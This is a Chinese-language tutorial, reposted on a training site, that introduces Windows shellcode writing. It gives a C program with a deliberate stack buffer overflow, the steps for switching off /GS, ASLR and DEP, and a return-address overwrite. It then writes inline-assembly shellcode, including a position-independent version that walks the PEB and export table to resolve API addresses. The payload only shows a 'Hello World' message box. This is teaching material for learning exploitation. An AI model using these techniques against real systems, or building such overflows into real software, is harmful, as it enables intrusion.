C/C++知识点之shellcode入门(win)
小标 2019-06-10 来源 : 阅读 1719 评论 0

摘要:本文主要向大家介绍了C/C++知识点之shellcode入门(win),通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。

本文主要向大家介绍了C/C++知识点之shellcode入门(win),通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。

C/C++知识点之shellcode入门(win)

重要的事情说下,搞windows安全一定要用win电脑实体机。我用的mac出现很多bug 好多函数地址获取不到。因此写shellcode 一定要注意平台
1。先写个有缓冲区溢出的代码

// ConsoleApplication1.cpp : 定义控制台应用程序的入口点。//#include ""stdafx.h""#include<windows.h>#define PASSWORD ""allen""int VerifyPassword(char *pszPassword, int nSize) {    char szBuffer[50];    memcpy(szBuffer, pszPassword, nSize);    return strcmp(PASSWORD, szBuffer);
}int _tmain(int argc, _TCHAR* argv[]) {    int  nFlag = 0;    char szPassword[0x200];
    FILE *fp;
    LoadLibraryA(""user32.dll"");    if (NULL == (fp = fopen(""password.txt"", ""rb""))) {
        MessageBoxA(NULL, ""打开文件失败"", ""error"", NULL);        exit(0);
    }
    fread(szPassword, sizeof(szPassword), 1, fp);
    nFlag = VerifyPassword(szPassword, sizeof(szPassword));    if (nFlag) printf(""密码错误\n"");    else       printf(""密码正确\n"");
    fclose(fp);
    system(""pause"");    return 0;
}
要关掉几个东西1。禁用安全检查 (/GS-)
![](//i2.51cto.com/images/blog/201806/04/96dbe0d026ab95e35d2f6cc1df2a5959.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)2。关掉随机基址与固定基址
![](//i2.51cto.com/images/blog/201806/04/a121262ee1197272ab5e3d1f1cbc9da2.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)3。禁用内联函数
![](//i2.51cto.com/images/blog/201806/04/f6bce8ddaceb83c682fcd8fe4088c87a.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)4关闭dep
![](//i2.51cto.com/images/blog/201806/04/1eaed1d3a8c3a0872f6a7e97d06f1091.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)

这里很定有溢出
写一些好记的数字用于区分溢出地址
password.txt

A8A9B8B9C8C9D8D9E8E9F8F9G8G9H8H9I8I9J8J9K8K9L8L9N8N9M8M90000P8P9Q8Q9R8R9S8S9T8T9U8U9V8V9W8W9X8X9Y8Y9Z8Z9

三运行程序出现 溢出

C/C++知识点之shellcode入门(win)

但是在win10下有点恶心 要在日志里看溢出地址
1。打开控制面版 找到管理工具

C/C++知识点之shellcode入门(win)

打开 事件查看器

C/C++知识点之shellcode入门(win)

打开win日志

C/C++知识点之shellcode入门(win)

打开应用程序 找到相应的出错程序

C/C++知识点之shellcode入门(win)

C/C++知识点之shellcode入门(win)

C/C++知识点之shellcode入门(win)

在od中找到MessageBoxA地址放到那 后面填上20个0(4个参数加上一个返回值 为什么会有5个原因是有一个为返回值)

C/C++知识点之shellcode入门(win)

C/C++知识点之shellcode入门(win)

运行程序

C/C++知识点之shellcode入门(win)

现在开始用代码写个只能这本地运程的shellcode(相关 函数地址要自己在od里找然后写上)

#include <windows.h>int main()
{
    LoadLibraryA(""user32.dll"");
    __asm {
        sub esp, 0x60;  //抬高栈帧
        jmp tag_Shellcode;      //前置代码,避免后面的数据被解释为指令        //[tag_Next-0x1A] MessageBoxA Address
        _asm _emit(0xb0) _asm _emit(0xf8) _asm _emit(0x56) _asm _emit(0x76)        //[tag_Next-0x16] ExitProcess Address
        _asm _emit(0xe0) _asm _emit(0x3b) _asm _emit(0xa7) _asm _emit(0x75)        //[tag_Next-0x12] ""Hello World!\0""
        _asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x6C)
        _asm _emit(0x6F) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6F)
        _asm _emit(0x72) _asm _emit(0x6C) _asm _emit(0x64) _asm _emit(0x21)
        _asm _emit(0x00)

        tag_Shellcode:
        call tag_Next;

        tag_Next:
        pop esi;                    // GetPC
        xor edx, edx;               // 将EDX清零
        lea edi, [esi - 0x12];      // 获取字符串地址
        mov eax, [esi - 0x1A];      // 获取MessageBoxA地址
        push edx;                   // /-uType
        push edi;                   // |-lpCaption
        push edi;                   // |-lpText
        push edx;                   // |-hWnd
        call eax;                   // MessageBoxA
        mov eax, [esi - 0x16];      // 获取ExitProcess地址
        push edx;                   // *-uExitCode
        call eax;                   // ExitProcess*/

    }    return 0;
}

运行

C/C++知识点之shellcode入门(win)

现在用dbg 把opcode复制下来
sub esp, 0x60;  到call eax;  
对应地址  

C/C++知识点之shellcode入门(win)

C/C++知识点之shellcode入门(win)

C/C++知识点之shellcode入门(win)

#include <windows.h>int main(){
    LoadLibraryA(""user32.dll"");    char bShellcode[] = { ""\x83\xEC\x60\xEB\x15\xB0\xF8\x56\x76\xE0\x3B\xA7\x75\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x00\xE8\x00\x00\x00\x00\x5E\x33\xD2\x8D\x7E\xEE\x8B\x46\xE6\x52\x57\x57\x52\xFF\xD0\x8B\x46\xEA\x52\xFF\xD0"" };

    __asm {
        lea eax, bShellcode;
        push eax;
        ret
    }    return 0;
}

运行

C/C++知识点之shellcode入门(win)

开始放入文件

C/C++知识点之shellcode入门(win)

找到它要复制的地址  (也就是eax的值 )

C/C++知识点之shellcode入门(win)

C/C++知识点之shellcode入门(win)

执行拷贝函数后 就出现了溢出把返回值改了

C/C++知识点之shellcode入门(win)

C/C++知识点之shellcode入门(win)

成功

C/C++知识点之shellcode入门(win)

这里也写了真正的shellcode

// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。//#include ""stdafx.h""int _tmain(int argc, _TCHAR* argv[])
{
    __asm {
        pushad;
        sub esp, 0x100;
        jmp tag_Shellcode;        //[tag_Next-0x52] ""GetProcAddress""
        _asm _emit(0x47) _asm _emit(0x65) _asm _emit(0x74) _asm _emit(0x50)
        _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63) _asm _emit(0x41)
        _asm _emit(0x64) _asm _emit(0x64) _asm _emit(0x72) _asm _emit(0x65)
        _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)        //[tag_Next-0x44] ""LoadLibraryExA\0""
        _asm _emit(0x4c) _asm _emit(0x6f) _asm _emit(0x61) _asm _emit(0x64)
        _asm _emit(0x4c) _asm _emit(0x69) _asm _emit(0x62) _asm _emit(0x72)
        _asm _emit(0x61) _asm _emit(0x72) _asm _emit(0x79) _asm _emit(0x45)
        _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)        //[tag_Next-0x35]  ""User32.dll\0""
        _asm _emit(0x55) _asm _emit(0x73) _asm _emit(0x65) _asm _emit(0x72)
        _asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2e) _asm _emit(0x64)
        _asm _emit(0x6c) _asm _emit(0x6c) _asm _emit(0x00)        //[tag_Next-0x2A]  ""MessageBoxA\0""
        _asm _emit(0x4d) _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73)
        _asm _emit(0x61) _asm _emit(0x67) _asm _emit(0x65) _asm _emit(0x42)
        _asm _emit(0x6f) _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)        //[tag_Next-0x1E]  ""ExitProcess\0""
        _asm _emit(0x45) _asm _emit(0x78) _asm _emit(0x69) _asm _emit(0x74)
        _asm _emit(0x50) _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63)
        _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)        //[tag_Next-0x12]  ""Hello World!\0""
        _asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6c) _asm _emit(0x6c)
        _asm _emit(0x6f) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6f)
        _asm _emit(0x72) _asm _emit(0x6c) _asm _emit(0x64) _asm _emit(0x21)
        _asm _emit(0x00)

        tag_Shellcode:
                     call tag_Next;
                 tag_Next:
                     pop ebx;                     //获取关键模块基址
                     mov esi, dword ptr fs : [0x30];
                     mov esi, [esi + 0x0c];
                     mov esi, [esi + 0x1c];
                     mov esi, [esi];
                     mov edx, [esi + 0x08];                     //获取GetProcAddress的函数地址
                     push ebx;
                     push edx;
                     call fun_GetProcAddress;
                     mov esi, eax;                     //获取LoadLibraryExA的函数地址
                     push edx;
                     lea ecx, [ebx - 0x44];
                     push ecx;
                     push edx;
                     call eax;
                     pop edx;                     //调用Payload部分
                     push ebx;
                     push esi;
                     push eax;
                     push edx;
                     call fun_Payload;

                 fun_GetProcAddress:
                     push ebp;
                     mov ebp, esp;
                     sub esp, 0x0c;
                     push edx;                     //获取EAT、ENT和EOT的地址
                     mov edx, [ebp + 0x08];
                     mov esi, [edx + 0x3c];
                     lea esi, [edx + esi];
                     mov esi, [esi + 0x78];
                     lea esi, [edx + esi];
                     mov edi, [esi + 0x1c];
                     lea edi, [edx + edi];
                     mov[ebp - 0x04], edi;
                     mov edi, [esi + 0x20];
                     lea edi, [edx + edi];
                     mov[ebp - 0x08], edi;
                     mov edi, [esi + 0x24];
                     lea edi, [edx + edi];
                     mov[ebp - 0x0c], edi;                     //循环对比ENT中的函数名
                     xor eax, eax;
                     jmp tag_FirstCmp;
                 tag_CmpFunNameLoop:
                     inc eax;
                 tag_FirstCmp:
                     mov esi, [ebp - 0x08];
                     mov esi, [esi + 4 * eax];
                     mov edx, [ebp + 0x08];
                     lea esi, [edx + esi];
                     mov ebx, [ebp + 0x0c];
                     lea edi, [ebx - 0x53];
                     mov ecx, 0x0e;
                     cld;
                     repe cmpsb;
                     jne tag_CmpFunNameLoop;                     //成功后找到对应的序号
                     mov esi, [ebp - 0x0c];
                     xor edi, edi;
                     mov di, [esi + eax * 2];                     //使用序号作为索引,找到函数名所对应的函数地址
                     mov edx, [ebp - 0x04];
                     mov esi, [edx + edi * 4];
                     mov edx, [ebp + 0x08];                     //返回获取到的关键函数地址
                     lea eax, [edx + esi];
                     pop edx;
                     mov esp, ebp;
                     pop ebp;
                     retn 0x08;

                 fun_Payload:
                     push ebp;
                     mov ebp, esp;
                     sub esp, 0x08;
                     mov ebx, [ebp + 0x14];                     //获取MessageBoxA的函数地址
                     lea ecx, [ebx - 0x35];
                     push 0;
                     push 0;
                     push ecx;
                     call[ebp + 0x0c];
                     lea ecx, [ebx - 0x2A];
                     push ecx;
                     push eax;
                     call[ebp + 0x10];
                     mov[ebp - 0x04], eax;                     //获取ExitProcess的函数地址
                     lea ecx, [ebx - 0x1E];
                     push ecx;
                     push[ebp + 0x08];
                     call[ebp + 0x10];
                     mov[ebp - 0x08], eax;                     //显示
                     lea ecx, [ebx - 0x12];
                     push 0;
                     push ecx;
                     push ecx;
                     push 0;
                     call[ebp - 0x04];
                     push 0;
                     call[ebp - 0x08];
                     mov esp, ebp;
                     pop ebp;
                     retn 0x10;
    }    return 0;
}

本文由职坐标整理并发布,希望对同学们有所帮助。了解更多详情请关注职坐标编程语言C/C+频道!

本文由 @小标 发布于职坐标。未经许可,禁止转载。
喜欢 | 0 不喜欢 | 0
看完这篇文章有何感觉?已经有0人表态,0%的人喜欢 快给朋友分享吧~
评论(0)
后参与评论

您输入的评论内容中包含违禁敏感词

我知道了

助您圆梦职场 匹配合适岗位
验证码手机号,获得海同独家IT培训资料
选择就业方向:
人工智能物联网
大数据开发/分析
人工智能Python
Java全栈开发
WEB前端+H5

请输入正确的手机号码

请输入正确的验证码

获取验证码

您今天的短信下发次数太多了,明天再试试吧!

提交

我们会在第一时间安排职业规划师联系您!

您也可以联系我们的职业规划师咨询:

小职老师的微信号:z_zhizuobiao
小职老师的微信号:z_zhizuobiao

版权所有 职坐标-一站式IT培训就业服务领导者 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
 沪公网安备 31011502005948号    

©2015 www.zhizuobiao.com All Rights Reserved

208小时内训课程